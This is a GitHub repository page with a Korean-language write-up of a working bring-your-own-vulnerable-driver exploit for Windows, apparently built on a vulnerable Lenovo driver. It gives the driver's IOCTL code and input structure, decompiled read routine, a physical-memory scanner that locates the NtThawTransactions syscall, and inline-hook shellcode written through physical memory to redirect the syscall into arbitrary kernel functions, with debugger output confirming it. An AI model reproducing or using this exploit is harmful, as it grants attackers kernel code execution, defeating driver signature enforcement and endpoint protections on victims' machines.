passion1337 / byovd-exploit

Vulnerable Driver Exploit

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Vulnerable Driver Exploit

Introduction

Windows vista 이후로 Driver Signature Enforcement(DSE)가 도입되었다. DSE는 커널 드라이버롤 로드 하기 전에 디지털 서명을 검증하도록 강제한다. 그렇기에 해커들은 서명되었지만 취약점이 존재하는 드라이버 찾아서 악용한다. 어떠한 드라이버가 취약한지, 이를 어떻게 Exploit 할 수 있을지 알아본다.

Which drivers are vulnerable?

대개 취약한 드라이버라 함은 "임의의 kernel memory or physical memory의 R/W를 클라이언트에게 노출하는 드라이버" 를 뜻한다. 보통 하드웨어를 검사하기 위한 드라이버에서 많이 발견된다. Driver가 취약한지 확인하기 위해 제일 먼저 해야 할 일은 IAT를 확인하는 것이다.

  • MmMapIoSpace => Physical address를 전달하면 Mapping 하여 반환
  • ZwOpenSection + ZwMapViewOfSection => ZwOpenSection으로 "Physical Memory" Section을 열고, ZwMapViewOfSection 로 매핑
  • MmCopyMemory => Copy virtual or physical memory

IAT

사용자가 드라이버(By DeviceIoControl)로 전달한 데이터가 위 함수들에 전달될 수 있다면 베스트다.

Analysis ( write 함수의 분석은 생략하겠음 )

사용자와 디바이스(드라이버가 생성한)가 통신할 방법은 DeviceIoControl 밖에 없다. 마지막 두 변수를 제외하고 모두 중요하다.
호출하면 드라이버에 등록된 Dispatch Routine이 실행된다. (MajorFunction[14] - IRP_MJ_DEVICE_CONTROL)

	....
#define IRP_MJ_FILE_SYSTEM_CONTROL      0x0d
#define IRP_MJ_DEVICE_CONTROL           0x0e
	....

BOOL DeviceIoControl(
  [in]                HANDLE       hDevice,
  [in]                DWORD        dwIoControlCode,
  [in, optional]      LPVOID       lpInBuffer,
  [in]                DWORD        nInBufferSize,
  [out, optional]     LPVOID       lpOutBuffer,
  [in]                DWORD        nOutBufferSize,
  [out, optional]     LPDWORD      lpBytesReturned,
  [in, out, optional] LPOVERLAPPED lpOverlapped
);

RegisterDispatcher

전달된 dwIoControlCode를 사용해 분기하는 것을 볼 수 있다. 이 중에서 우리가 필요한 함수를 걸러내야한다.

dispatchroutine

MmMapIoSpace를 Xref 해보면 아래 두 함수가 존재하고, 이는 위에서 본 switch case 안에서 발견할 수 있다.

xref

분석 과정중 제일 중요한 정보는 사용자 데이터가 어떻게 처리되고 반환되는지 이다. 즉 lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize의 구조를 파악하는것이다.

(sub_14000133C)를 분석해보자.

__int64 __fastcall sub_14000133C(_IRP *a1, _IO_STACK_LOCATION *a2, _QWORD *a3)
{
  PHYSICAL_ADDRESS *PoolWithTag; // r14
  PVOID v7; // r15
  unsigned int v8; // ebx
  SIZE_T LowPart; // rdx
  unsigned int v10; // eax
  __int64 v11; // rcx
  void *systemBuffer; // rdi
  __int16 *v13; // rsi
  _IRP *v14; // rdi
  _DWORD *v15; // rsi

  PoolWithTag = 0i64;
  v7 = 0i64;
  v8 = 0;
  if ( a2->Parameters.DeviceIoControl.InputBufferLength != 16 )
    goto LABEL_24;
  PoolWithTag = (PHYSICAL_ADDRESS *)ExAllocatePoolWithTag((POOL_TYPE)1536, 0x10ui64, Tag);
  if ( !PoolWithTag )
  {
    v8 = -1073741670;
    goto LABEL_25;
  }
  *(_OWORD *)&PoolWithTag->LowPart = *(_OWORD *)a1->AssociatedIrp.SystemBuffer;
  LowPart = PoolWithTag[1].LowPart;
  if ( a2->Parameters.Read.Length == (_DWORD)LowPart && (unsigned int)(LowPart - 1) <= 7 )
  {
    v7 = MmMapIoSpace(*PoolWithTag, LowPart, MmNonCached);
    if ( v7 )
    {
      v10 = PoolWithTag[1].LowPart;
      v11 = 1i64;
      switch ( v10 )
      {
        case 1u:
          qmemcpy(a1->AssociatedIrp.SystemBuffer, v7, 1ui64);
          break;
        case 2u:
          systemBuffer = a1->AssociatedIrp.SystemBuffer;
          v13 = (__int16 *)v7;
          while ( v11 )
          {
            *(_WORD *)systemBuffer = *v13++;
            systemBuffer = (char *)systemBuffer + 2;
            --v11;
          }
          break;
        case 4u:
          v14 = a1->AssociatedIrp.MasterIrp;
          v15 = v7;
          while ( v11 )
          {
            *(_DWORD *)&v14->Type = *v15++;
            v14 = (_IRP *)((char *)v14 + 4);
            --v11;
          }
          break;
        case 8u:
          qmemcpy(a1->AssociatedIrp.MasterIrp, v7, 8ui64);
          break;
        default:
          v8 = -1073741822;
          break;
      }
      *a3 = PoolWithTag[1].LowPart;
    }
    else
    {
      v8 = -1073740759;
    }
  }
  else
  {
LABEL_24:
    v8 = -1073741306;
  }
LABEL_25:
  if ( v7 )
    MmUnmapIoSpace(v7, PoolWithTag[1].LowPart);
  if ( PoolWithTag )
    ExFreePoolWithTag(PoolWithTag, Tag);
  return v8;
}

전달한 Physical Address에서 값을 읽어오는 함수임을 알 수 있고, 알 수 있는 정보는 다음과 같다.

  • CtlCode == 0x222010
  • InputBufferLength 는 반드시 16이여야 한다.
  • read data size <= 8
  • InputBuffer 의 구조
struct read_t // 0x10
{
	uint64_t PhysicalAddress;
	uint64_t dataSize;
};

이제 임의의 Physical address를 전달하면 이를 읽고 쓸 수 있다. 이제 이를 활용해보자.

Utilize physical memory read/write

유저모드에서 커널모드로 진입하려면 syscall을 이용해야한다. 이를 활용해 임의의 syscall을 선택하고 exploit 할 수 있다. 먼저 임의의 syscall을 선택하고 ( NtThawTransactions ), 이 함수의 physical memory를 찾아 exploit 할 것이다. 이는 불가능 해 보여도 메모리는 항상 페이지 단위로 할당된 다는 점을 활용하면 충분히 가능하다.
먼저 ntoskrnl.exe에서 NtThawTransactions의 오프셋 ( 4kb size page 기준 ) 을 확인하니 0xba0 이었다. 이를 활용해 시스템의 모든 물리메모리를 스캔하고, syscall의 주소를 찾을 수 있다.

	static void physMemScanner(ULONG_PTR address, ULONG length)
	{
		DWORD ThreadId = GetCurrentThreadId();
		printf("[+] start scanning range < 0x%016llx, 0x%08x > in thread %d\n", address, length, ThreadId);

		uint64_t pat = 0;
		uint64_t pat2 = 0;
		uint32_t offsetInPage = syscall.second & 0xfff;
		for (auto curr = address; (curr + offsetInPage) < (address + length); curr += USN_PAGE_SIZE)
		{
			if (syscallPhysicalAddr.load() != 0)
				break;

			if (!ReadPhysical(curr + offsetInPage, &pat))
				continue;

			// Check pattern matches
			 ... 
		}
		
		printf("[+] end scanning in thread %d\n", ThreadId);
		return;
	}

위 스캐너를 통해 발견된 주소는 0x2fd0ba0 이었고, 검증을 위해 Windbg 로 확인해보았다.

1: kd> !dq 0x2fd0ba0
# 2fd0ba0 e9ffd608`39158b4c cccccccc`fd4fc974
# 2fd0bb0 cccccccc`cccccccc cccccccc`cccccccc
# 2fd0bc0 e9ffd608`21158b4c cccccccc`fd4fe114
# 2fd0bd0 cccccccc`cccccccc cccccccc`cccccccc
# 2fd0be0 e9ffd608`09158b4c cccccccc`fd4efc44
# 2fd0bf0 cccccccc`cccccccc cccccccc`cccccccc
# 2fd0c00 e9ffd607`f1158b4c cccccccc`fd4efcb4
# 2fd0c10 cccccccc`cccccccc cccccccc`cccccccc
1: kd> !pfn 2fd0
unable to get nt!PspSessionIdBitmap
    PFN 00002FD0 at address FFFFD7800008F700
    flink       00000000  blink / share count 00000001  pteaddress FFFFFDFC00241E80
    reference count 0001    used entry count  0000      Cached    color 0   Priority 0
    restore pte 00000080  containing page 004E0A  Active             
                    
1: kd> !pte FFFFFDFC00241E80
                                           VA fffff800483d0000
PXE at FFFFFDFEFF7FBF80    PPE at FFFFFDFEFF7F0008    PDE at FFFFFDFEFE001208    PTE at FFFFFDFC00241E80
contains 0000000004E09063  contains 0000000004E0A063  contains 0A00000002E001A1  contains 0000000000000000
pfn 4e09      ---DA--KWEV  pfn 4e0a      ---DA--KWEV  pfn 2e00      -GL-A--KREV  LARGE PAGE pfn 2fd0        

1: kd> dq fffff800483d0000 + ba0
fffff800`483d0ba0  e9ffd608`39158b4c cccccccc`fd4fc974
fffff800`483d0bb0  cccccccc`cccccccc cccccccc`cccccccc
fffff800`483d0bc0  e9ffd608`21158b4c cccccccc`fd4fe114
fffff800`483d0bd0  cccccccc`cccccccc cccccccc`cccccccc
fffff800`483d0be0  e9ffd608`09158b4c cccccccc`fd4efc44
fffff800`483d0bf0  cccccccc`cccccccc cccccccc`cccccccc
fffff800`483d0c00  e9ffd607`f1158b4c cccccccc`fd4efcb4
fffff800`483d0c10  cccccccc`cccccccc cccccccc`cccccccc
1: kd> u fffff800483d0000 + ba0
nt!NtThawTransactions:
fffff800`483d0ba0 4c8b153908d6ff  mov     r10,qword ptr [nt!_imp_NtThawTransactions (fffff800`481313e0)]
fffff800`483d0ba7 e974c94ffd      jmp     fffff800`458cd520
fffff800`483d0bac cc              int     3
fffff800`483d0bad cc              int     3
fffff800`483d0bae cc              int     3

찾은 Physical Page에 인라인 훅을 설치하고 클라이언트에서 user.NtThawTransactions를 호출하여 원하는 Kernel function으로 redirect 할 수 있다.

		uint8_t opcode[12] = {
			0x48, 0xB8,					// mov rax, 
			0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // address
			0xFF, 0xE0 };					// jmp rax 
		
		*(uint64_t*)(opcode + 2) = kernelfunction;

		uint64_t orgBytesOffset0 = 0;
		uint32_t orgBytesOffset8 = 0;

		ReadPhysical(hookAddress, &orgBytesOffset0);
		ReadPhysical(hookAddress + 8, &orgBytesOffset8);

		WritePhysical(hookAddress, (uint64_t*)(&opcode[0]));
		WritePhysical(hookAddress + 8, (uint32_t*)(&opcode[8]));

이렇게 설치한 훅은 호출 후에 바로 해제된다.

result

lenovo::MemCopy(&mz, ntoskrnl, 2);
uint64_t EProcess = lenovo::IoGetCurrentProcess();

result

credits

_xeroxz : VDM
TheCruZ : Kdmapper
alfarom256 : CVE-2022-3699

About

Vulnerable Driver Exploit


Languages

Language:C++ 99.2%Language:C 0.8%